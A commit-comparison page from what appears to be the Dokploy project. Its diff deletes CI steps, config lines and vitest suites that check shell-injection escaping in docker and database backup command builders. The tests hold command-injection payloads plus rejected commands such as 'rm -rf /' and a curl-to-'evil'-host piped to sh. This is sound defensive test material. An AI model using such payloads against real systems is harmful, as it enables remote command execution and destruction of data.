Compare commits

..

1 Commits

Author SHA1 Message Date
Mauricio Siu 81adbcb8f9 fix: allow members with git providers permission to create and delete their own
The canAccessToGitProviders legacy override only granted read access, so
members with the Git Providers toggle enabled could not add providers — the
create/delete endpoints require gitProviders.create / gitProviders.delete.
This mirrors how the SSH Keys toggle already grants read/create/delete.

The git-provider remove endpoint now restricts non owner/admin roles to
deleting only their own providers (matching the ownership model used for
visibility and sharing), while owner/admin can still delete any provider in
the organization.

Closes #4695
2026-06-30 15:56:13 -06:00
352 changed files with 28877 additions and 71386 deletions
-9
View File
@@ -152,14 +152,6 @@ jobs:
VERSION=$(node -p "require('./apps/dokploy/package.json').version")
echo "version=$VERSION" >> $GITHUB_OUTPUT
- name: Fetch install.sh
run: |
curl -fsSL https://raw.githubusercontent.com/Dokploy/website/main/apps/website/public/install.sh -o install.sh
head -1 install.sh | grep -q '^#!' || { echo "Downloaded install.sh is not a shell script"; exit 1; }
grep -q 'DOKPLOY_VERSION' install.sh || { echo "install.sh no longer supports DOKPLOY_VERSION pinning"; exit 1; }
{ head -1 install.sh; echo "DOKPLOY_VERSION=\"\${DOKPLOY_VERSION:-${{ steps.get_version.outputs.version }}}\""; tail -n +2 install.sh; } > install-pinned.sh
mv install-pinned.sh install.sh
- name: Create Release
uses: softprops/action-gh-release@v2
with:
@@ -168,7 +160,6 @@ jobs:
generate_release_notes: true
draft: false
prerelease: false
files: install.sh
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
+1 -4
View File
@@ -43,7 +43,4 @@ yarn-error.log*
*.pem
.db
.playwright-*
.credentials
.db
+1 -2
View File
@@ -69,5 +69,4 @@ EXPOSE 3000
HEALTHCHECK --interval=30s --timeout=5s --start-period=60s --retries=5 \
CMD curl -fs http://localhost:3000/api/trpc/settings.health || exit 1
# Ejecutar node directamente: pnpm como wrapper queda residente (~100MB RSS)
CMD ["sh", "-c", "node -r dotenv/config dist/wait-for-postgres.mjs && node -r dotenv/config dist/migration.mjs && exec node -r dotenv/config dist/server.mjs"]
CMD ["sh", "-c", "pnpm run wait-for-postgres && exec pnpm start"]
@@ -1,26 +0,0 @@
import { describe, expect, it } from "vitest";
import { API_KEY_NAME_MAX_LENGTH, apiKeyNameSchema } from "@/lib/api-keys";
describe("apiKeyNameSchema", () => {
it("rejects an empty name", () => {
const result = apiKeyNameSchema.safeParse("");
expect(result.success).toBe(false);
});
it("accepts a name at the maximum length", () => {
const name = "a".repeat(API_KEY_NAME_MAX_LENGTH);
const result = apiKeyNameSchema.safeParse(name);
expect(result.success).toBe(true);
});
it("rejects a name over the maximum length instead of passing it to better-auth", () => {
const name = "a".repeat(API_KEY_NAME_MAX_LENGTH + 1);
const result = apiKeyNameSchema.safeParse(name);
expect(result.success).toBe(false);
if (!result.success) {
expect(result.error.issues[0]?.message).toBe(
`Name must be at most ${API_KEY_NAME_MAX_LENGTH} characters`,
);
}
});
});
@@ -1,106 +0,0 @@
import { execSync } from "node:child_process";
import { chmodSync, existsSync, rmSync, writeFileSync } from "node:fs";
import {
getLibsqlBackupCommand,
getMariadbBackupCommand,
getMongoBackupCommand,
getMysqlBackupCommand,
getPostgresBackupCommand,
} from "@dokploy/server/utils/backups/utils";
import {
getMariadbRestoreCommand,
getMongoRestoreCommand,
getMysqlRestoreCommand,
getPostgresRestoreCommand,
} from "@dokploy/server/utils/restore/utils";
import { afterAll, beforeAll, describe, expect, it } from "vitest";
// A stub replacing the real `docker` binary. It ignores exec/-i/$CONTAINER_ID,
// exports the -e VAR=val pairs, and runs the inner `sh -c <script>` — so the
// test exercises BOTH shell layers (outer /bin/sh building the docker command,
// and the inner shell) the way production does, without needing a container.
const stub = `/tmp/docker_stub_${process.pid}`;
const MARK = `/tmp/dokploy_dbbk_pwned_${process.pid}`;
beforeAll(() => {
writeFileSync(
stub,
`#!/bin/bash
shift # exec
envs=()
while [ "$1" = "-e" ]; do envs+=("$2"); shift 2; done
shift 2 # -i CONTAINER
shell="$1"; shift # bash|sh
shift # -c
env "\${envs[@]}" "$shell" -c "$1" </dev/null 2>/dev/null || true
`,
);
chmodSync(stub, 0o755);
});
afterAll(() => {
if (existsSync(stub)) rmSync(stub);
if (existsSync(MARK)) rmSync(MARK);
});
// Run a builder-produced command with `docker` pointed at the stub; return true
// if no injected command fired.
const runsSafely = (command: string) => {
if (existsSync(MARK)) rmSync(MARK);
const withStub = command.replace(/^docker /, `${stub} `);
try {
execSync(withStub, {
shell: "/bin/bash",
stdio: "ignore",
env: { ...process.env, CONTAINER_ID: "test" },
});
} catch {}
const fired = existsSync(MARK);
if (existsSync(MARK)) rmSync(MARK);
return !fired;
};
// Payloads that try to break out of every quoting style used in the builders.
const p = (mark: string) => [
`$(touch ${mark})`,
"`touch " + mark + "`",
`x'; touch ${mark}; '`,
`x"; touch ${mark}; echo "`,
`x; touch ${mark}`,
];
describe("database backup/restore command injection", () => {
const cases: Array<[string, (v: string) => string]> = [
["postgres backup (database)", (v) => getPostgresBackupCommand(v, "u")],
["postgres backup (user)", (v) => getPostgresBackupCommand("db", v)],
["mariadb backup (password)", (v) => getMariadbBackupCommand("db", "u", v)],
["mysql backup (database)", (v) => getMysqlBackupCommand(v, "pw")],
["mongo backup (user)", (v) => getMongoBackupCommand("db", v, "pw")],
["libsql backup (database)", (v) => getLibsqlBackupCommand(v)],
["postgres restore (database)", (v) => getPostgresRestoreCommand(v, "u")],
[
"mariadb restore (password)",
(v) => getMariadbRestoreCommand("db", "u", v),
],
["mysql restore (database)", (v) => getMysqlRestoreCommand(v, "pw")],
["mongo restore (user)", (v) => getMongoRestoreCommand("db", v, "pw")],
];
for (const [label, build] of cases) {
it(`${label} is not injectable`, () => {
for (const payload of p(MARK)) {
expect(runsSafely(build(payload))).toBe(true);
}
});
}
it("preserves a legitimate database name (passed through as env var)", () => {
const cmd = getPostgresBackupCommand("my-db_prod", "app_user");
// Values live in -e assignments, never inline in the pg_dump text.
expect(cmd).toContain("-e DB_NAME=my-db_prod");
expect(cmd).toContain("-e DB_USER=app_user");
expect(cmd).toContain(
'pg_dump -Fc --no-acl --no-owner -h localhost -U "$DB_USER"',
);
});
});
@@ -1,50 +0,0 @@
import { redactRcloneCredentials } from "@dokploy/server/utils/backups/redact";
import { describe, expect, it } from "vitest";
describe("redactRcloneCredentials (#4621)", () => {
it("should redact access key in rclone command", () => {
const cmd =
'rclone rcat --s3-access-key-id="AKIAIOSFODNN7EXAMPLE" --s3-secret-access-key="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY" :s3:bucket/file.gz';
const redacted = redactRcloneCredentials(cmd);
expect(redacted).not.toContain("AKIAIOSFODNN7EXAMPLE");
expect(redacted).toContain('--s3-access-key-id="[REDACTED]"');
});
it("should redact secret access key in rclone command", () => {
const cmd =
'rclone rcat --s3-access-key-id="key" --s3-secret-access-key="supersecret" :s3:bucket/file.gz';
const redacted = redactRcloneCredentials(cmd);
expect(redacted).not.toContain("supersecret");
expect(redacted).toContain('--s3-secret-access-key="[REDACTED]"');
});
it("should redact both credentials simultaneously", () => {
const cmd =
'rclone lsf --s3-access-key-id="AKIA123" --s3-secret-access-key="secret456" --s3-region="us-east-1" :s3:bucket/';
const redacted = redactRcloneCredentials(cmd);
expect(redacted).not.toContain("AKIA123");
expect(redacted).not.toContain("secret456");
expect(redacted).toContain('--s3-region="us-east-1"');
});
it("should not modify non-credential flags", () => {
const cmd =
'rclone rcat --s3-region="eu-west-1" --s3-endpoint="https://s3.example.com" --s3-no-check-bucket :s3:bucket/file.gz';
const redacted = redactRcloneCredentials(cmd);
expect(redacted).toBe(cmd);
});
it("should handle commands with no credentials", () => {
const cmd = "rclone lsf :s3:bucket/";
expect(redactRcloneCredentials(cmd)).toBe(cmd);
});
it("should handle error strings containing credentials", () => {
const errorStr =
'Error: Command failed: rclone lsf --s3-access-key-id="MYKEY" --s3-secret-access-key="MYSECRET" :s3:bucket/';
const redacted = redactRcloneCredentials(errorStr);
expect(redacted).not.toContain("MYKEY");
expect(redacted).not.toContain("MYSECRET");
expect(redacted).toContain("[REDACTED]");
});
});
@@ -1,70 +0,0 @@
import { execSync } from "node:child_process";
import { existsSync, rmSync } from "node:fs";
import { getRegistryTag } from "@dokploy/server/utils/cluster/upload";
import { parse, quote } from "shell-quote";
import { describe, expect, it } from "vitest";
const MARK = `/tmp/dokploy_regnode_pwned_${process.pid}`;
const runsSafely = (command: string) => {
if (existsSync(MARK)) rmSync(MARK);
try {
execSync(command, { shell: "/bin/sh", stdio: "ignore" });
} catch {}
const fired = existsSync(MARK);
if (existsSync(MARK)) rmSync(MARK);
return !fired;
};
const PAYLOADS = (m: string) => [
`$(touch ${m})`,
"`touch " + m + "`",
`x; touch ${m}`,
`x | touch ${m}`,
];
describe("cluster removeWorker nodeId injection", () => {
// docker node update/rm ${quote([nodeId])} — replace `docker node` with `:`.
it("escapes nodeId in drain/remove commands", () => {
for (const nodeId of PAYLOADS(MARK)) {
const drain = `: node update --availability drain ${quote([nodeId])}`;
const remove = `: node rm ${quote([nodeId])} --force`;
expect(runsSafely(drain)).toBe(true);
expect(runsSafely(remove)).toBe(true);
}
});
});
describe("swarm upload registry tag/push injection", () => {
// registryTag is built from registryUrl/username/imagePrefix (username and
// imagePrefix have no schema regex). Assert docker tag/push stay safe.
it("escapes a malicious imagePrefix flowing into the registry tag", () => {
for (const payload of PAYLOADS(MARK)) {
const registryTag = getRegistryTag(
{
registryUrl: "registry.example.com",
imagePrefix: payload,
username: "user",
} as any,
"app:latest",
);
const tagCmd = `: tag ${quote(["app:latest"])} ${quote([registryTag])}`;
const pushCmd = `: push ${quote([registryTag])}`;
expect(runsSafely(tagCmd)).toBe(true);
expect(runsSafely(pushCmd)).toBe(true);
}
});
it("keeps a legitimate registry tag intact", () => {
const tag = getRegistryTag(
{
registryUrl: "registry.example.com",
imagePrefix: "team",
username: "user",
} as any,
"myapp:1.2.3",
);
expect(tag).toBe("registry.example.com/team/myapp:1.2.3");
expect(parse(quote([tag]))).toEqual([tag]);
});
});
@@ -1,104 +0,0 @@
import { execSync } from "node:child_process";
import { existsSync, rmSync } from "node:fs";
import { createCommand } from "@dokploy/server/utils/builders/compose";
import { parse, quote } from "shell-quote";
import { describe, expect, it } from "vitest";
const MARK = `/tmp/dokploy_compose_pwned_${process.pid}`;
const base = {
composeType: "docker-compose" as const,
appName: "compose-app",
sourceType: "raw" as const,
command: "",
composePath: "docker-compose.yml",
};
// createCommand output is interpolated as `docker ${command}` at the deploy
// sink; run `: ${command}` (docker -> no-op) and assert no injection fires.
const runsSafely = (command: string) => {
if (existsSync(MARK)) rmSync(MARK);
try {
execSync(`: ${command}`, { shell: "/bin/sh", stdio: "ignore" });
} catch {}
const fired = existsSync(MARK);
if (existsSync(MARK)) rmSync(MARK);
return !fired;
};
const PAYLOADS = [
`$(touch ${MARK})`,
"`touch " + MARK + "`",
`x; touch ${MARK}`,
`x | touch ${MARK}`,
];
describe("compose createCommand injection", () => {
it("escapes composePath (docker-compose)", () => {
for (const p of PAYLOADS) {
const cmd = createCommand({
...base,
sourceType: "github",
composePath: p,
} as any);
expect(runsSafely(cmd)).toBe(true);
}
});
it("escapes composePath (stack deploy)", () => {
for (const p of PAYLOADS) {
const cmd = createCommand({
...base,
composeType: "stack",
sourceType: "github",
composePath: p,
} as any);
expect(runsSafely(cmd)).toBe(true);
}
});
it("escapes appName", () => {
for (const p of PAYLOADS) {
const cmd = createCommand({
...base,
sourceType: "github",
appName: p,
composePath: "docker-compose.yml",
} as any);
expect(runsSafely(cmd)).toBe(true);
}
});
it("rejects a custom command containing shell control characters", () => {
for (const bad of [
"up -d; rm -rf /",
"up && curl evil | sh",
"up $(touch x)",
"up `id`",
]) {
expect(() => createCommand({ ...base, command: bad } as any)).toThrow(
/Invalid characters/,
);
}
});
it("allows a legitimate custom command", () => {
const cmd = createCommand({
...base,
command: "compose -f docker-compose.yml -p app up -d --build",
} as any);
expect(cmd).toBe("compose -f docker-compose.yml -p app up -d --build");
});
it("keeps a legitimate composePath intact", () => {
const cmd = createCommand({
...base,
sourceType: "github",
composePath: "deploy/docker-compose.prod.yml",
} as any);
expect(parse(cmd)).toContain("deploy/docker-compose.prod.yml");
expect(quote(["deploy/docker-compose.prod.yml"])).toBe(
"deploy/docker-compose.prod.yml",
);
});
});
@@ -1,199 +0,0 @@
import type { Compose, ComposeSpecification } from "@dokploy/server";
import {
applyServiceNetworks,
declareUsedNetworksInRoot,
resolveServiceNetworks,
} from "@dokploy/server";
import { db } from "@dokploy/server/db";
import { beforeEach, expect, test, type vi } from "vitest";
import { parse } from "yaml";
const findManyMock = db.query.network.findMany as ReturnType<typeof vi.fn>;
beforeEach(() => {
findManyMock.mockReset();
findManyMock.mockResolvedValue([]);
});
const baseCompose = {
serverId: null,
isolatedDeployment: false,
} as unknown as Compose;
const withServiceNetworks = (
serviceNetworks: Compose["serviceNetworks"],
): Compose => ({ ...baseCompose, serviceNetworks });
test("applyServiceNetworks: no-op when serviceNetworks is empty", async () => {
const result = parse(`
services:
web:
image: nginx
`) as ComposeSpecification;
const injected = await applyServiceNetworks(result, withServiceNetworks([]));
expect(injected.size).toBe(0);
expect(result.services?.web?.networks).toBeUndefined();
expect(findManyMock).not.toHaveBeenCalled();
});
test("applyServiceNetworks: injects assigned network by networkId", async () => {
findManyMock.mockResolvedValue([{ networkId: "net-1", name: "shared-net" }]);
const result = parse(`
services:
web:
image: nginx
`) as ComposeSpecification;
const injected = await applyServiceNetworks(
result,
withServiceNetworks([
{
serviceName: "web",
networkIds: ["net-1"],
detachDokployNetwork: false,
},
]),
);
expect(injected.has("shared-net")).toBe(true);
expect(result.services?.web?.networks).toContain("shared-net");
});
test("applyServiceNetworks: detach removes dokploy-network and default", async () => {
const result = parse(`
services:
db:
image: postgres
networks:
- dokploy-network
- default
`) as ComposeSpecification;
const injected = await applyServiceNetworks(
result,
withServiceNetworks([
{ serviceName: "db", networkIds: [], detachDokployNetwork: true },
]),
);
expect(injected.size).toBe(0);
expect(result.services?.db?.networks).not.toContain("dokploy-network");
expect(result.services?.db?.networks).not.toContain("default");
});
test("applyServiceNetworks: unknown networkId is skipped", async () => {
findManyMock.mockResolvedValue([]);
const result = parse(`
services:
web:
image: nginx
`) as ComposeSpecification;
const injected = await applyServiceNetworks(
result,
withServiceNetworks([
{
serviceName: "web",
networkIds: ["missing"],
detachDokployNetwork: false,
},
]),
);
expect(injected.size).toBe(0);
});
test("applyServiceNetworks: skips services that don't exist in the compose", async () => {
findManyMock.mockResolvedValue([{ networkId: "net-1", name: "shared-net" }]);
const result = parse(`
services:
web:
image: nginx
`) as ComposeSpecification;
const injected = await applyServiceNetworks(
result,
withServiceNetworks([
{
serviceName: "ghost",
networkIds: ["net-1"],
detachDokployNetwork: false,
},
]),
);
expect(injected.size).toBe(0);
expect(result.services?.web?.networks).toBeUndefined();
});
test("declareUsedNetworksInRoot: declares dokploy-network only when used", () => {
const used = parse(`
services:
web:
image: nginx
networks:
- dokploy-network
`) as ComposeSpecification;
declareUsedNetworksInRoot(used, new Set());
expect(used.networks).toHaveProperty("dokploy-network");
const unused = parse(`
services:
web:
image: nginx
networks:
- default
`) as ComposeSpecification;
declareUsedNetworksInRoot(unused, new Set());
expect(unused.networks ?? {}).not.toHaveProperty("dokploy-network");
});
test("declareUsedNetworksInRoot: declares injected networks that are used", () => {
const result = parse(`
services:
web:
image: nginx
networks:
- shared-net
`) as ComposeSpecification;
declareUsedNetworksInRoot(result, new Set(["shared-net", "unused-net"]));
expect(result.networks).toHaveProperty("shared-net");
expect(result.networks ?? {}).not.toHaveProperty("unused-net");
});
test("resolveServiceNetworks: returns dokploy-network by default", async () => {
const resolved = await resolveServiceNetworks({});
expect(resolved).toEqual([{ Target: "dokploy-network" }]);
expect(findManyMock).not.toHaveBeenCalled();
});
test("resolveServiceNetworks: omits dokploy-network when detached", async () => {
const resolved = await resolveServiceNetworks({ detachDokployNetwork: true });
expect(resolved).toEqual([]);
});
test("resolveServiceNetworks: appends overlay networks by networkId", async () => {
findManyMock.mockResolvedValue([{ name: "overlay-a" }]);
const resolved = await resolveServiceNetworks({ networkIds: ["net-a"] });
expect(resolved).toEqual([
{ Target: "dokploy-network" },
{ Target: "overlay-a" },
]);
});
test("resolveServiceNetworks: networkSwarm override takes precedence", async () => {
const override = [{ Target: "custom-net" }];
const resolved = await resolveServiceNetworks({ networkSwarm: override });
expect(resolved).toBe(override);
expect(findManyMock).not.toHaveBeenCalled();
});
@@ -42,39 +42,6 @@ test("Add suffix to volumes declared directly in services", () => {
);
});
const composeFileAccessMode = `
version: "3.8"
services:
web:
image: nginx:alpine
volumes:
- web_config:/etc/nginx/conf.d:ro
- certs/sub:/etc/certs:Z
`;
test("Add suffix to volumes preserves access mode (:ro, :z, :Z)", () => {
const composeData = parse(composeFileAccessMode) as ComposeSpecification;
const suffix = generateRandomHash();
if (!composeData.services) {
return;
}
const updatedComposeData = addSuffixToVolumesInServices(
composeData.services,
suffix,
);
expect(updatedComposeData.web?.volumes).toContain(
`web_config-${suffix}:/etc/nginx/conf.d:ro`,
);
expect(updatedComposeData.web?.volumes).toContain(
`certs-${suffix}/sub:/etc/certs:Z`,
);
});
const composeFileTypeVolume = `
version: "3.8"
@@ -1,41 +0,0 @@
import { execSync } from "node:child_process";
import { existsSync, rmSync } from "node:fs";
import { parse, quote } from "shell-quote";
import { describe, expect, it } from "vitest";
// The six database deploy functions (postgres/mysql/mariadb/mongo/redis/libsql)
// build `docker pull ${quote([dockerImage])}` for the remote (execAsyncRemote)
// path. `docker` is replaced by `:` so only the injection surface is exercised.
const MARK = `/tmp/dokploy_dbimg_pwned_${process.pid}`;
const PAYLOADS = [
"$(touch %MARK%)",
"`touch %MARK%`",
"redis:7; touch %MARK%",
"redis:7 && touch %MARK%",
"redis:7 | touch %MARK%",
];
describe("database service dockerImage command injection", () => {
it("does not execute injected commands from dockerImage", () => {
for (const template of PAYLOADS) {
if (existsSync(MARK)) rmSync(MARK);
const dockerImage = template.replace("%MARK%", MARK);
const command = `: pull ${quote([dockerImage])}`;
try {
execSync(command, { shell: "/bin/sh", stdio: "ignore" });
} catch {}
expect(existsSync(MARK)).toBe(false);
}
if (existsSync(MARK)) rmSync(MARK);
});
it("keeps a legitimate image tag intact", () => {
expect(parse(quote(["postgres:16.4-alpine"]))).toEqual([
"postgres:16.4-alpine",
]);
expect(parse(quote(["ghcr.io/org/db:latest"]))).toEqual([
"ghcr.io/org/db:latest",
]);
});
});
@@ -1,66 +0,0 @@
import { execSync } from "node:child_process";
import { existsSync, rmSync } from "node:fs";
import { parse, quote } from "shell-quote";
import { describe, expect, it } from "vitest";
// Reproduces the escaping applied at the docker build/pull sinks and asserts no
// payload can break out of the command. `docker`/`cd` are replaced by `:` so the
// test exercises only the injection surface, not real docker.
const MARK = `/tmp/dokploy_docker_pwned_${process.pid}`;
const runAndCheckSafe = (command: string) => {
if (existsSync(MARK)) rmSync(MARK);
try {
execSync(command, { shell: "/bin/sh", stdio: "ignore" });
} catch {
// no-op stand-ins may exit non-zero; only the marker matters.
}
const fired = existsSync(MARK);
if (existsSync(MARK)) rmSync(MARK);
return !fired;
};
const PAYLOADS = [
"$(touch %MARK%)",
"`touch %MARK%`",
"x; touch %MARK%",
"x && touch %MARK%",
"x | touch %MARK%",
];
describe("docker build/pull command injection", () => {
it("dockerImage (buildRemoteDocker: docker pull / echo) is escaped", () => {
for (const p of PAYLOADS) {
const dockerImage = p.replace("%MARK%", MARK);
const command = `: pull ${quote([dockerImage])}; : echo ${quote([`Pulling ${dockerImage}`])}`;
expect(runAndCheckSafe(command)).toBe(true);
}
});
it("dockerContextPath (docker-file: cd) is escaped", () => {
for (const p of PAYLOADS) {
const dockerContextPath = p.replace("%MARK%", MARK);
const command = `: cd ${quote([dockerContextPath])}`;
expect(runAndCheckSafe(command)).toBe(true);
}
});
it("publishDirectory (nixpacks: docker cp source path) is escaped", () => {
for (const p of PAYLOADS) {
const publishDirectory = p.replace("%MARK%", MARK);
const containerId = "buildabc";
const command = `: cp ${quote([`${containerId}:/app/${publishDirectory}/.`])} /dest`;
expect(runAndCheckSafe(command)).toBe(true);
}
});
it("keeps a legitimate image / path intact as a single token", () => {
// Escaping may add backslashes (e.g. before ':'), but the shell must parse
// the result back to exactly the original single token.
expect(parse(quote(["nginx:1.27-alpine"]))).toEqual(["nginx:1.27-alpine"]);
expect(parse(quote(["registry.io/team/app:tag"]))).toEqual([
"registry.io/team/app:tag",
]);
expect(parse(quote(["dist/static"]))).toEqual(["dist/static"]);
});
});
@@ -1,323 +0,0 @@
import type { NextApiRequest, NextApiResponse } from "next";
import { beforeEach, describe, expect, it, vi } from "vitest";
const mocks = vi.hoisted(() => ({
eq: vi.fn((field: string, value: unknown) => ({ field, value })),
and: vi.fn((...conditions: Array<{ field: string; value: unknown }>) => ({
conditions,
})),
githubFindFirst: vi.fn(),
applicationsFindMany: vi.fn(),
composeFindMany: vi.fn(),
queueAdd: vi.fn(),
verify: vi.fn(),
shouldDeploy: vi.fn(),
}));
vi.mock("drizzle-orm", () => ({
eq: mocks.eq,
and: mocks.and,
}));
vi.mock("@/server/db/schema", () => ({
applications: {
sourceType: "application.sourceType",
autoDeploy: "application.autoDeploy",
triggerType: "application.triggerType",
branch: "application.branch",
repository: "application.repository",
owner: "application.owner",
githubId: "application.githubId",
isPreviewDeploymentsActive: "application.isPreviewDeploymentsActive",
},
compose: {
sourceType: "compose.sourceType",
autoDeploy: "compose.autoDeploy",
triggerType: "compose.triggerType",
branch: "compose.branch",
repository: "compose.repository",
owner: "compose.owner",
githubId: "compose.githubId",
},
github: {
githubInstallationId: "github.githubInstallationId",
},
}));
vi.mock("@dokploy/server/db", () => ({
db: {
query: {
github: {
findFirst: mocks.githubFindFirst,
},
applications: {
findMany: mocks.applicationsFindMany,
},
compose: {
findMany: mocks.composeFindMany,
},
},
},
}));
vi.mock("@dokploy/server", () => ({
IS_CLOUD: false,
shouldDeploy: mocks.shouldDeploy,
checkUserRepositoryPermissions: vi.fn(),
createPreviewDeployment: vi.fn(),
createSecurityBlockedComment: vi.fn(),
findGithubById: vi.fn(),
findPreviewDeploymentByApplicationId: vi.fn(),
findPreviewDeploymentsByPullRequestId: vi.fn(),
getBitbucketHeaders: vi.fn(() => ({})),
removePreviewDeployment: vi.fn(),
}));
vi.mock("@octokit/webhooks", () => ({
Webhooks: vi.fn().mockImplementation(function Webhooks() {
return {
verify: mocks.verify,
};
}),
}));
vi.mock("@/server/queues/queueSetup", () => ({
myQueue: {
add: mocks.queueAdd,
},
}));
vi.mock("@/server/utils/deploy", () => ({
deploy: vi.fn(),
}));
import handler from "@/pages/api/deploy/github";
const getConditionValue = (
where: { conditions?: Array<{ field: string; value: unknown }> } | undefined,
field: string,
) => where?.conditions?.find((condition) => condition.field === field)?.value;
const createResponse = () => {
const res = {
status: vi.fn(),
json: vi.fn(),
} as unknown as NextApiResponse & {
status: ReturnType<typeof vi.fn>;
json: ReturnType<typeof vi.fn>;
};
res.status.mockImplementation(() => res);
res.json.mockImplementation(() => res);
return res;
};
const createPushRequest = (
branch: string,
owner: { login?: string; name?: string } = { login: "agentHits" },
) =>
({
headers: {
"x-hub-signature-256": "sha256=test-signature",
"x-github-event": "push",
},
body: {
installation: {
id: 12345,
},
ref: `refs/heads/${branch}`,
after: "abc123",
head_commit: {
message: "fix: trigger deployment",
},
commits: [
{
modified: ["src/index.ts"],
},
],
repository: {
name: "dokploy",
full_name: "agentHits/dokploy",
clone_url: "https://github.com/agentHits/dokploy.git",
html_url: "https://github.com/agentHits/dokploy",
owner,
},
},
}) as unknown as NextApiRequest;
const createTagRequest = (tagName: string) => {
const req = createPushRequest("main") as unknown as {
body: { ref: string; head_commit: { message: string } };
};
req.body.ref = `refs/tags/${tagName}`;
req.body.head_commit.message = `release: ${tagName}`;
return req as unknown as NextApiRequest;
};
describe("GitHub app webhook auto-deploy", () => {
beforeEach(() => {
vi.clearAllMocks();
mocks.githubFindFirst.mockResolvedValue({
githubId: "github-provider-id",
githubInstallationId: 12345,
githubWebhookSecret: "webhook-secret",
});
mocks.verify.mockResolvedValue(true);
mocks.shouldDeploy.mockReturnValue(true);
mocks.composeFindMany.mockResolvedValue([]);
mocks.queueAdd.mockResolvedValue({ id: "job-id" });
mocks.applicationsFindMany.mockImplementation(({ where }) => {
const matches =
getConditionValue(where, "application.sourceType") === "github" &&
getConditionValue(where, "application.autoDeploy") === true &&
getConditionValue(where, "application.triggerType") === "push" &&
getConditionValue(where, "application.branch") === "main" &&
getConditionValue(where, "application.repository") === "dokploy" &&
getConditionValue(where, "application.owner") === "agentHits" &&
getConditionValue(where, "application.githubId") ===
"github-provider-id";
return Promise.resolve(
matches
? [
{
applicationId: "application-id",
serverId: null,
watchPaths: null,
},
]
: [],
);
});
});
it("matches push events using repository owner name when available", async () => {
const res = createResponse();
await handler(
createPushRequest("main", {
login: "agentHits-login",
name: "agentHits",
}),
res,
);
expect(mocks.queueAdd).toHaveBeenCalledWith(
"deployments",
expect.objectContaining({
applicationId: "application-id",
applicationType: "application",
type: "deploy",
}),
expect.objectContaining({
removeOnComplete: true,
removeOnFail: true,
}),
);
expect(res.status).toHaveBeenCalledWith(200);
expect(res.json).toHaveBeenCalledWith({ message: "Deployed 1 apps" });
});
it("matches compose push events using repository owner login fallback", async () => {
mocks.applicationsFindMany.mockResolvedValue([]);
mocks.composeFindMany.mockImplementation(({ where }) => {
const matches =
getConditionValue(where, "compose.sourceType") === "github" &&
getConditionValue(where, "compose.autoDeploy") === true &&
getConditionValue(where, "compose.triggerType") === "push" &&
getConditionValue(where, "compose.branch") === "main" &&
getConditionValue(where, "compose.repository") === "dokploy" &&
getConditionValue(where, "compose.owner") === "agentHits" &&
getConditionValue(where, "compose.githubId") === "github-provider-id";
return Promise.resolve(
matches
? [
{
composeId: "compose-id",
serverId: null,
watchPaths: null,
},
]
: [],
);
});
const res = createResponse();
await handler(createPushRequest("main"), res);
expect(mocks.queueAdd).toHaveBeenCalledWith(
"deployments",
expect.objectContaining({
applicationType: "compose",
composeId: "compose-id",
type: "deploy",
}),
expect.objectContaining({
removeOnComplete: true,
removeOnFail: true,
}),
);
expect(res.status).toHaveBeenCalledWith(200);
expect(res.json).toHaveBeenCalledWith({ message: "Deployed 1 apps" });
});
it("matches tag events using repository owner login fallback", async () => {
mocks.applicationsFindMany.mockImplementation(({ where }) => {
const matches =
getConditionValue(where, "application.sourceType") === "github" &&
getConditionValue(where, "application.autoDeploy") === true &&
getConditionValue(where, "application.triggerType") === "tag" &&
getConditionValue(where, "application.repository") === "dokploy" &&
getConditionValue(where, "application.owner") === "agentHits" &&
getConditionValue(where, "application.githubId") ===
"github-provider-id";
return Promise.resolve(
matches
? [
{
applicationId: "application-id",
serverId: null,
},
]
: [],
);
});
const res = createResponse();
await handler(createTagRequest("v1.0.0"), res);
expect(mocks.queueAdd).toHaveBeenCalledWith(
"deployments",
expect.objectContaining({
applicationId: "application-id",
applicationType: "application",
titleLog: "Tag created: v1.0.0",
type: "deploy",
}),
expect.objectContaining({
removeOnComplete: true,
removeOnFail: true,
}),
);
expect(res.status).toHaveBeenCalledWith(200);
expect(res.json).toHaveBeenCalledWith({
message: "Deployed 1 apps based on tag v1.0.0",
});
});
it("does not deploy when the pushed branch does not match", async () => {
const res = createResponse();
await handler(createPushRequest("feature"), res);
expect(mocks.queueAdd).not.toHaveBeenCalled();
expect(res.status).toHaveBeenCalledWith(200);
expect(res.json).toHaveBeenCalledWith({ message: "No apps to deploy" });
});
});
-2
View File
@@ -32,8 +32,6 @@ const baseApp: ApplicationNested = {
railpackVersion: "0.15.4",
applicationId: "",
previewLabels: [],
networkIds: [],
detachDokployNetwork: false,
createEnvFile: true,
bitbucketRepositorySlug: "",
herokuVersion: "",
-93
View File
@@ -1,93 +0,0 @@
import {
decryptValue,
encryptValue,
exportEncryptionKeys,
isEncrypted,
} from "@dokploy/server/lib/encryption";
import { afterEach, describe, expect, it, vi } from "vitest";
describe("encryptValue / decryptValue", () => {
it("round-trips a value", () => {
const value =
"DATABASE_URL=postgres://user:secret@host:5432/db\nAPI_KEY=123";
const encrypted = encryptValue(value);
expect(encrypted).not.toBe(value);
expect(isEncrypted(encrypted)).toBe(true);
expect(encrypted).not.toContain("secret");
expect(decryptValue(encrypted)).toBe(value);
});
it("uses a random IV so equal inputs produce different ciphertexts", () => {
const value = "KEY=value";
expect(encryptValue(value)).not.toBe(encryptValue(value));
});
it("passes legacy plaintext through on decrypt", () => {
const plaintext = "KEY=legacy-plaintext-value";
expect(decryptValue(plaintext)).toBe(plaintext);
});
it("passes empty values through unchanged", () => {
expect(encryptValue("")).toBe("");
expect(decryptValue("")).toBe("");
});
it("does not double-encrypt an already encrypted value", () => {
const encrypted = encryptValue("KEY=value");
expect(encryptValue(encrypted)).toBe(encrypted);
});
it("throws a descriptive error on tampered ciphertext", () => {
const encrypted = encryptValue("KEY=value");
const tampered = `${encrypted.slice(0, -4)}AAAA`;
expect(() => decryptValue(tampered)).toThrow(/BETTER_AUTH_SECRET/);
});
it("exports the derived keys as 32-byte hex lines for backups", () => {
expect(exportEncryptionKeys()).toMatch(/^[0-9a-f]{64}(\n[0-9a-f]{64})*$/);
});
});
describe("dedicated ENCRYPTION_KEY", () => {
afterEach(() => {
vi.unstubAllEnvs();
vi.resetModules();
});
const loadWithEncryptionKey = async (key: string) => {
vi.stubEnv("ENCRYPTION_KEY", key);
vi.resetModules();
return await import("@dokploy/server/lib/encryption");
};
it("encrypts with the dedicated key when set", async () => {
const withKey = await loadWithEncryptionKey("my-dedicated-key");
const encrypted = withKey.encryptValue("KEY=value");
